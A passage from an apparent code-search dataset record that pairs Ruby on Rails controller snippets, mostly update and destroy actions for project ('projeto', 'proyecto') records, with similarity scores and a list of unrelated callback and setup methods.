"def update\n respond_to do |format|\n if @objeto.update(requisito_params)\n format.html { redirect_to @objeto, notice: \"Requisito was successfully updated.\" }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @client = Client.find(params[:client_id])\n @project = Project.find(params[:id])\n \n respond_to do |format|\n if @project.update_attributes(project_params)\n format.html { redirect_to client_projects_path(@client), notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: client_projects_path(@client).errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = @client.projects.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(project_params)\n format.html { redirect_to([@client, @project], notice: 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n @project.user_id = current_user.id\n\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to session.delete(:return_to), notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sistema = Sistema.find(params[:id])\n\n respond_to do |format|\n if @sistema.update_attributes(params[:sistema])\n format.html { redirect_to @sistema, notice: 'Sistema was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sistema.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def patch(path, params = {})\n request(:patch, path, params)\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to projects_path, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: projects_path }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n if @puntaje.update_attributes(params[:puntaje])\n format.html { redirect_to @puntaje, notice: 'Puntaje was successfully updated.' }\n format.json { head :no_content }\n else\n atributos\n format.html { render action: \"edit\" }\n format.json { render json: @puntaje.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n debugger\n if @project.update(project_params)\n format.html { redirect_to projects_url, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @project\n if @project.update(project_params)\n render json: @project, status: :ok\n else\n render json: {error: @project.errors.full_messages.to_sentence } , status: :unprocessable_entity\n end\n else\n render json: {error: \"Project does not exist\"} , status: :unprocessable_entity\n end\n end"
] |
[
"0.70798904",
"0.703509",
"0.685305",
"0.67047",
"0.6671396",
"0.6603742",
"0.65753555",
"0.6571406",
"0.6536701",
"0.6519937",
"0.65121806",
"0.6456487",
"0.641822",
"0.63953286",
"0.6342533",
"0.6334362",
"0.63297814",
"0.63150567",
"0.6279236",
"0.62690955",
"0.62596184",
"0.6243464",
"0.6243464",
"0.62421644",
"0.62421644",
"0.62421644",
"0.62421644",
"0.62421644",
"0.62421644",
"0.62421644",
"0.62421644",
"0.62421644",
"0.62421644",
"0.62421644",
"0.62421644",
"0.62421644",
"0.62421644",
"0.6238209",
"0.6238209",
"0.6238209",
"0.6238209",
"0.62335885",
"0.6233443",
"0.62317663",
"0.6230285",
"0.62276053",
"0.6224207",
"0.62230504",
"0.62229335",
"0.62229335",
"0.62229335",
"0.62229335",
"0.6221531",
"0.6221527",
"0.62167364",
"0.6210299",
"0.6209512",
"0.62088054",
"0.6204696",
"0.6204696",
"0.61992294",
"0.6197546",
"0.6196318",
"0.6192395",
"0.616364",
"0.615797",
"0.61573243",
"0.61566466",
"0.6152219",
"0.6152219",
"0.6150069",
"0.61462677",
"0.6144365",
"0.61411077",
"0.6136667",
"0.61318874",
"0.61203927",
"0.6119286",
"0.6115791",
"0.6115773",
"0.6108594",
"0.610617",
"0.61055243",
"0.6105172",
"0.610454",
"0.609935",
"0.6099117",
"0.609483",
"0.6079755",
"0.60787344",
"0.6072788",
"0.60624754",
"0.6061856",
"0.6058607",
"0.6058607",
"0.6056488",
"0.6054788",
"0.6053341",
"0.60464025",
"0.6045079"
] |
0.6511085
|
11
|
DELETE /projetos/1 DELETE /projetos/1.json
|
def destroy
if @projeto.destroy
flash[:success] = @@msgs
else
flash[:danger] = @@msge
end
respond_to do |format|
format.html { redirect_to projetos_url, notice: @@msgs }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @projeto = Projeto.find(params[:id])\n @projeto.destroy\n\n respond_to do |format|\n format.html { redirect_to projetos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @projeto.destroy\n respond_to do |format|\n format.html { redirect_to projetos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @projeto_arquitetonico.destroy\n respond_to do |format|\n format.html { redirect_to projeto_arquitetonicos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @cliente = @project.cliente\n @project.destroy\n respond_to do |format|\n format.html { redirect_to user_projects_url, notice: 'Proyecto borrado :(' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @projeto.destroy\n respond_to do |format|\n format.html { redirect_to projetos_url, notice: 'Projeto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @projet.destroy\n respond_to do |format|\n format.html { redirect_to projets_url, notice: 'Projet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n render json: {message: 'Projeto Excluido'}, status: :ok\n end",
"def destroy\n @projeto = Projeto.find(params[:id])\n @projeto.destroy\n\n respond_to do |format|\n format.html { redirect_to(projetos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @usuario_projeto.destroy\n respond_to do |format|\n format.html { redirect_to usuario_projetos_url, notice: 'Usuario projeto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Proyecto eliminado sastifactoriamente' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Проект удален' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_de_projeto.destroy\n respond_to do |format|\n format.html { redirect_to tipo_de_projetos_url, notice: 'Tipo de projeto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Proyecto eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @projects_objetive.destroy\n respond_to do |format|\n format.html { redirect_to projects_objetives_url, notice: 'Projects objetive was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Projeto deletado.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n \n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.delete\n\n respond_to do |format|\n format.html { redirect_to request.referer }\n format.json { head :no_content }\n end\n end",
"def destroy\n project = Project.find(params[:id])\n project.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def delete\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @proyecto.destroy\n respond_to do |format|\n format.html { redirect_to proyectos_url, notice: \"Proyecto was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @proyecto.destroy\n respond_to do |format|\n format.html { redirect_to proyectos_url, notice: 'Proyecto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @proyecto.destroy\n respond_to do |format|\n format.html { redirect_to proyectos_url, notice: 'Proyecto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @proyecto.destroy\n respond_to do |format|\n format.html { redirect_to proyectos_url, notice: 'Proyecto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @proyecto.destroy\n respond_to do |format|\n format.html { redirect_to proyectos_url, notice: 'Proyecto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to administration_projects_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.json { head :ok }\n end\n end",
"def destroy\n @projekt = Projekt.find(params[:id])\n @projekt.destroy\n \n respond_to do |format|\n format.html { redirect_to projekts_url }\n format.json { head :no_content }\n\n end\n end",
"def destroy\n @ourproject = Ourproject.find(params[:id])\n @ourproject.destroy\n\n respond_to do |format|\n format.html { redirect_to ourprojects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.status = 'deleted'\n @project.save!\n\n respond_to do |format|\n format.json { render :json => \"success\" }\n end\n end",
"def destroy\n name = @project.name\n @project.destroy\n render json: [\"You have successfullly deleted '#{name}''\"], status: 200\n end",
"def destroy\r\n @project.destroy\r\n respond_to do |format|\r\n format.html { redirect_to projects_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { render :json => {:message=>\"OK\",:id=>@project.id}, :staus=>:ok}\n end\n end",
"def destroy\t\t\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Successfully deleted project.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: \"#{I18n.t 'project.project_destoy'}\"}\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: t('models.project.destroy') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @file_project = FileProject.find(params[:id])\n @file_project.destroy\n\n respond_to do |format|\n format.html { redirect_to file_projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n Rails.logger.info \"We are deleting project\"\n @todo_project.destroy\n respond_to do |format|\n format.html { redirect_to todo_projects_url, notice: 'Project was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project_todo = @project.project_todos.find(params[:id])\n @project_todo.destroy\n respond_to do |format|\n format.html { redirect_to project_project_todos_url}\n format.json { head :no_content }\n end\n end",
"def destroy\n @prueba_json.destroy\n respond_to do |format|\n format.html { redirect_to prueba_jsons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to admin_projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n head :no_content\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_path, notice: 'Project was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { render :json => {:valid => true} }\n end\n end",
"def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n # Se busca el proyecto por el id\n @project = Project.find(params[:id])\n # Se destruye\n @project.destroy\n redirect_to projects_url\n end",
"def destroy\n @proyecto.destroy\n respond_to do |format|\n format.html { redirect_to proyectos_url, notice: 'Proyecto was successfully destroyed.' }\n format.json { head :no_content }\n flash[:success] = \"Proyecto eliminado\"\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_back(fallback_location: root_path) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = current_user.projects.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to student_projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @persona_proyecto.destroy\n respond_to do |format|\n format.html { redirect_to personas_proyectos_url, notice: 'Persona proyecto was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n\n head :no_content\n end",
"def destroy\n \t@project = Project.find(params[:id])\n \t#ap @project\n \t#abort\n \n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n authorize @project\n @project.destroy\n render json: [\"Deleted successfully.\"], status: :ok\n end",
"def destroy\n repo = ProjectRepo.new current_user\n repo.destroy params[:id]\n\n respond_to do |format|\n format.html { redirect_to v_projects_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project=Project.find(params[:id])\n @project.destroy\n respond_to do |format|\n format.html { redirect_to \"/usershome\", notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @acao = Acao.find(params[:id])\n @risco = Risco.find(2)\n # @project = Project.find(@risco.project_id)\n @acao.destroy\n\n respond_to do |format|\n format.html { redirect_to riscos_url(:project_id => @risco.project_id) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n client_id = @project.client_id\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to client_projects_path(client_id), notice: \"成功删除#{Project.model_name.human}\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n \n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n # @project = Project.find(params[:id])\n # @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_projects_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7912271",
"0.7896868",
"0.76828504",
"0.76585937",
"0.7652262",
"0.757353",
"0.7556995",
"0.75497425",
"0.75180286",
"0.7469653",
"0.74605656",
"0.7458692",
"0.745469",
"0.7440776",
"0.74129784",
"0.7377082",
"0.7372995",
"0.7356703",
"0.7326029",
"0.7319453",
"0.7285888",
"0.7260071",
"0.72584814",
"0.72508866",
"0.72503203",
"0.72503203",
"0.72503203",
"0.72503203",
"0.7248632",
"0.7248275",
"0.7248275",
"0.7248275",
"0.7248275",
"0.7248275",
"0.7232497",
"0.72248316",
"0.7224825",
"0.7222787",
"0.7220744",
"0.7220744",
"0.7220744",
"0.7220744",
"0.72206295",
"0.72192866",
"0.72163504",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7215836",
"0.7214797",
"0.7206953",
"0.72051007",
"0.7192015",
"0.71774983",
"0.7172667",
"0.7169866",
"0.71642894",
"0.71574277",
"0.71471447",
"0.714181",
"0.71335524",
"0.7132795",
"0.71327204",
"0.713272",
"0.7128621",
"0.7128621",
"0.71245676",
"0.7122536",
"0.7121535",
"0.7111961",
"0.71118647",
"0.71093726",
"0.71085984",
"0.7105816",
"0.71021354",
"0.71004397",
"0.71004397",
"0.7097737",
"0.7097655",
"0.70958513",
"0.7095158",
"0.70930034"
] |
0.71400845
|
78
|
Use callbacks to share common setup or constraints between actions.
|
def set_projeto
@projeto = Projeto.accessible_by(current_ability).find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
